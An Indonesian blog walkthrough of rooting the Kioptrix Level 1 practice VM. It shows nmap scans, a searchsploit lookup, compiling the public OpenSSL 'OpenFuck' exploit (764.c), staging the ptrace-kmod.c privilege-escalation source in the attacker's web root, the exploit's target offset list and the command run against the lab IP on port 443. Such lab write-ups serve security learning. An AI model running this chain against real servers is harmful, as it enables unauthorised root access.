Hack Server Kioptrix Level 1

Beberapa hari yang lalu, saya pernah membahas mengenai De-ICE, dimana OS ini diciptakan dengan beberapa vulnerable yang bisa ditembus. Tujuan OS ini dibuat untuk bahan pembelajaran dan memahami konsep dasar human hacking. Nah, kali ini saya mau ngebahas Kioptrix. Kioptrix sama seperti De-ICE, memiliki 3 level juga. Kamu bisa men-download-nya di sini.

Apa yang kamu butuhkan?

VM-Ware
VMDK Kioptrix
Nmap
GCC
ExploitDB

Apa tujuan / goal dari Kioptrix? Berikut screenshot tantangannya:

Kita diminta untuk mendapatkan akses root. So, langung ke tutorialnya aja ya (=

Pertama yang paling wajib dilakukan sebelum melakukan peretasan adalah mengumpulkan informasi. Kali ini saya menggunakan nmap.

root@bt:~# nmap 192.168.1.1/24

Keliatan kalo ternyata IP Kioptrix adalah 192.168.1.104. Langkah selanjutnya adalah mengetahui lebih jauh tentang target kita. Kita gunakan nmap lagi:

root@bt:~# nmap -sS -sV -vv 192.168.1.104

Berikut hasil scan service port Kioptrix:

PORT SERVICE VERSION

22/tcp ssh OpenSSH 2.9p2 (protocol 1.99)

80/tcp http Apache httpd 1.3.20

111/tcp rpcbind (rpcbind V2) 2 (rpc #100000)

139/tcp netbios-ssn Samba smbd (workgroup: MYGROUP)

443/tcp ssl/http Apache httpd 1.3.20

1024/tcp status (status V1) 1 (rpc #100024)

MAC Address: 00:0C:29:C9:5E:78 (VMware)

(Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

Hasil ini bisa kita gunakan untuk mencari modul exploit yang ada di ExploitDB, cara mencarinya:

root@bt:~# cd /pentest/exploits/exploitdb/
root@bt:/pentest/exploits/exploitdb# ./searchsploit

Usage: searchsploit [term1] [term2] [term3]

Example: searchsploit oracle windows local

Use lower case in the search terms; second and third terms are optional.

searchsploit will search each line of the csv file left to right so order your search terms accordingly.

(ie: 'oracle local' will yield better results than 'local oracle')

Kali ini saya mau mencari exploit untuk OpenSSL. Maka cara mencarinya:

root@bt:/pentest/exploits/exploitdb# ./searchsploit openssl

Nama Modul        : Apache OpenSSL Remote Exploit (Multiple Targets) (OpenFuckV2.c)
Pada direktori    : /pentest/exploits/exploitdb/platforms/linux/remote/
Nama File         : 764.c

Copy file exploit ke direktori home:

root@bt:/pentest/exploits/exploitdb# cp platforms/linux/remote/764.c ~
root@bt:/pentest/exploits/exploitdb# ls -l ~

Sebelum kita melakukan compile, pertama-tama edit dulu baris berikut:

Dan baris berikut:

Kemudian, selanjutnya adalah mendownload file ini:

http://downloads.securityfocus.com/vulnerabilities/exploits/ptrace-kmod.c

Save dengan nama ptrace-kmod.c pada folder /var/www/

Setelah itu complie file 764.c dengan perintah berikut:

root@bt:~# gcc 764.c -o exploit -lcrypto

Setelah selesai di-compile, cek keberadaan file bernama exploit di folder yang sama dengan 764.c:

File exploit inilah yang akan kita gunakan untuk melakukan exploitasi server:

Langkah berikutnya adalah mengeskekusi file ini. Lihat cara penggunaannya:

./exploit [tipe_target] [ip_target] [port]

target - supported box eg: 0x00

box - hostname or IP address

port - port for ssl connection

-c open N connections. (use range 40-50 if u dont know)

Dimana:

Target kita : RedHat dengan Apache 1.3.20 (Hasil NMAP)
Dengan IP : 192.168.1.104
Port OpenSSL: 443

Kita bisa melihat list target:

Supported OffSet:

0x00 - Caldera OpenLinux (apache-1.3.26)

0x01 - Cobalt Sun 6.0 (apache-1.3.12)

0x02 - Cobalt Sun 6.0 (apache-1.3.20)

0x03 - Cobalt Sun x (apache-1.3.26)

0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)

0x05 - Conectiva 4 (apache-1.3.6)

0x06 - Conectiva 4.1 (apache-1.3.9)

0x07 - Conectiva 6 (apache-1.3.14)

0x08 - Conectiva 7 (apache-1.3.12)

0x09 - Conectiva 7 (apache-1.3.19)

0x0a - Conectiva 7/8 (apache-1.3.26)

0x0b - Conectiva 8 (apache-1.3.22)

0x0c - Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)

0x0d - Debian GNU Linux (apache_1.3.19-1)

0x0e - Debian GNU Linux (apache_1.3.22-2)

0x0f - Debian GNU Linux (apache-1.3.22-2.1)

0x10 - Debian GNU Linux (apache-1.3.22-5)

0x11 - Debian GNU Linux (apache_1.3.23-1)

0x12 - Debian GNU Linux (apache_1.3.24-2.1)

0x13 - Debian Linux GNU Linux 2 (apache_1.3.24-2.1)

0x14 - Debian GNU Linux (apache_1.3.24-3)

0x15 - Debian GNU Linux (apache-1.3.26-1)

0x16 - Debian GNU Linux 3.0 Woody (apache-1.3.26-1)

0x17 - Debian GNU Linux (apache-1.3.27)

0x18 - FreeBSD (apache-1.3.9)

0x19 - FreeBSD (apache-1.3.11)

0x1a - FreeBSD (apache-1.3.12.1.40)

0x1b - FreeBSD (apache-1.3.12.1.40)

0x1c - FreeBSD (apache-1.3.12.1.40)

0x1d - FreeBSD (apache-1.3.12.1.40_1)

0x1e - FreeBSD (apache-1.3.12)

0x1f - FreeBSD (apache-1.3.14)

0x20 - FreeBSD (apache-1.3.14)

0x21 - FreeBSD (apache-1.3.14)

0x22 - FreeBSD (apache-1.3.14)

0x23 - FreeBSD (apache-1.3.14)

0x24 - FreeBSD (apache-1.3.17_1)

0x25 - FreeBSD (apache-1.3.19)

0x26 - FreeBSD (apache-1.3.19_1)

0x27 - FreeBSD (apache-1.3.20)

0x28 - FreeBSD (apache-1.3.20)

0x29 - FreeBSD (apache-1.3.20+2.8.4)

0x2a - FreeBSD (apache-1.3.20_1)

0x2b - FreeBSD (apache-1.3.22)

0x2c - FreeBSD (apache-1.3.22_7)

0x2d - FreeBSD (apache_fp-1.3.23)

0x2e - FreeBSD (apache-1.3.24_7)

0x2f - FreeBSD (apache-1.3.24+2.8.8)

0x30 - FreeBSD 4.6.2-Release-p6 (apache-1.3.26)

0x31 - FreeBSD 4.6-Realease (apache-1.3.26)

0x32 - FreeBSD (apache-1.3.27)

0x33 - Gentoo Linux (apache-1.3.24-r2)

0x34 - Linux Generic (apache-1.3.14)

0x35 - Mandrake Linux X.x (apache-1.3.22-10.1mdk)

0x36 - Mandrake Linux 7.1 (apache-1.3.14-2)

0x37 - Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)

0x38 - Mandrake Linux 7.2 (apache-1.3.14-2mdk)

0x39 - Mandrake Linux 7.2 (apache-1.3.14) 2

0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)

0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)

0x3c - Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)

0x3d - Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)

0x3e - Mandrake Linux 8.0 (apache-1.3.19-3)

0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)

0x40 - Mandrake Linux 8.2 (apache-1.3.23-4)

0x41 - Mandrake Linux 8.2 #2 (apache-1.3.23-4)

0x42 - Mandrake Linux 8.2 (apache-1.3.24)

0x43 - Mandrake Linux 9 (apache-1.3.26)

0x44 - RedHat Linux ?.? GENERIC (apache-1.3.12-1)

0x45 - RedHat Linux TEST1 (apache-1.3.12-1)

0x46 - RedHat Linux TEST2 (apache-1.3.12-1)

0x47 - RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)

0x48 - RedHat Linux 4.2 (apache-1.1.3-3)

0x49 - RedHat Linux 5.0 (apache-1.2.4-4)

0x4a - RedHat Linux 5.1-Update (apache-1.2.6)

0x4b - RedHat Linux 5.1 (apache-1.2.6-4)

0x4c - RedHat Linux 5.2 (apache-1.3.3-1)

0x4d - RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)

0x4e - RedHat Linux 6.0 (apache-1.3.6-7)

0x4f - RedHat Linux 6.0 (apache-1.3.6-7)

0x50 - RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)

0x51 - RedHat Linux 6.0 Update (apache-1.3.24)

0x52 - RedHat Linux 6.1 (apache-1.3.9-4)1

0x53 - RedHat Linux 6.1 (apache-1.3.9-4)2

0x54 - RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)

0x55 - RedHat Linux 6.1-fp2000 (apache-1.3.26)

0x56 - RedHat Linux 6.2 (apache-1.3.12-2)1

0x57 - RedHat Linux 6.2 (apache-1.3.12-2)2

0x58 - RedHat Linux 6.2 mod(apache-1.3.12-2)3

0x59 - RedHat Linux 6.2 update (apache-1.3.22-5.6)1

0x5a - RedHat Linux 6.2-Update (apache-1.3.22-5.6)2

0x5b - Redhat Linux 7.x (apache-1.3.22)

0x5c - RedHat Linux 7.x (apache-1.3.26-1)

0x5d - RedHat Linux 7.x (apache-1.3.27)

0x5e - RedHat Linux 7.0 (apache-1.3.12-25)1

0x5f - RedHat Linux 7.0 (apache-1.3.12-25)2

0x60 - RedHat Linux 7.0 (apache-1.3.14-2)

0x61 - RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)

0x62 - RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)

0x63 - RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)

0x64 - RedHat Linux 7.1 (apache-1.3.19-5)1

0x65 - RedHat Linux 7.1 (apache-1.3.19-5)2

0x66 - RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)

0x67 - RedHat Linux 7.1-Update (1.3.22-5.7.1)

0x68 - RedHat Linux 7.1 (apache-1.3.22-src)

0x69 - RedHat Linux 7.1-Update (1.3.27-1.7.1)

0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1

0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)

0x6d - RedHat Linux 7.2 (apache-1.3.24)

0x6e - RedHat Linux 7.2 (apache-1.3.26)

0x6f - RedHat Linux 7.2 (apache-1.3.26-snc)

0x70 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)1

0x71 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)2

0x72 - RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)

0x73 - RedHat Linux 7.3 (apache-1.3.23-11)1

0x74 - RedHat Linux 7.3 (apache-1.3.23-11)2

0x75 - RedHat Linux 7.3 (apache-1.3.27)

0x76 - RedHat Linux 8.0 (apache-1.3.27)

0x77 - RedHat Linux 8.0-second (apache-1.3.27)

0x78 - RedHat Linux 8.0 (apache-2.0.40)

0x79 - Slackware Linux 4.0 (apache-1.3.6)

0x7a - Slackware Linux 7.0 (apache-1.3.9)

0x7b - Slackware Linux 7.0 (apache-1.3.26)

0x7c - Slackware 7.0 (apache-1.3.26)2

0x7d - Slackware Linux 7.1 (apache-1.3.12)

0x7e - Slackware Linux 8.0 (apache-1.3.20)

0x7f - Slackware Linux 8.1 (apache-1.3.24)

0x80 - Slackware Linux 8.1 (apache-1.3.26)

0x81 - Slackware Linux 8.1-stable (apache-1.3.26)

0x82 - Slackware Linux (apache-1.3.27)

0x83 - SuSE Linux 7.0 (apache-1.3.12)

0x84 - SuSE Linux 7.1 (apache-1.3.17)

0x85 - SuSE Linux 7.2 (apache-1.3.19)

0x86 - SuSE Linux 7.3 (apache-1.3.20)

0x87 - SuSE Linux 8.0 (apache-1.3.23)

0x88 - SUSE Linux 8.0 (apache-1.3.23-120)

0x89 - SuSE Linux 8.0 (apache-1.3.23-137)

0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)

Berarti kita menggunakan target 0x6b pada 192.168.1.104:443

Sebelum melakukan exploitasi, pastikan web server apache sudah berjalan:

root@bt:~# /etc/init.d/apache2 restart

Perintah exploitnya menjadi:

root@bt:~# ./exploit 0x6b 192.168.1.104 443

Test keberhasilannya:

GAME OVER!!!

Written By

Blue Dragon

Supported By
Red Dragon

Hack Server Kioptrix Level 1

Related Posts

0 comment:

Post a Comment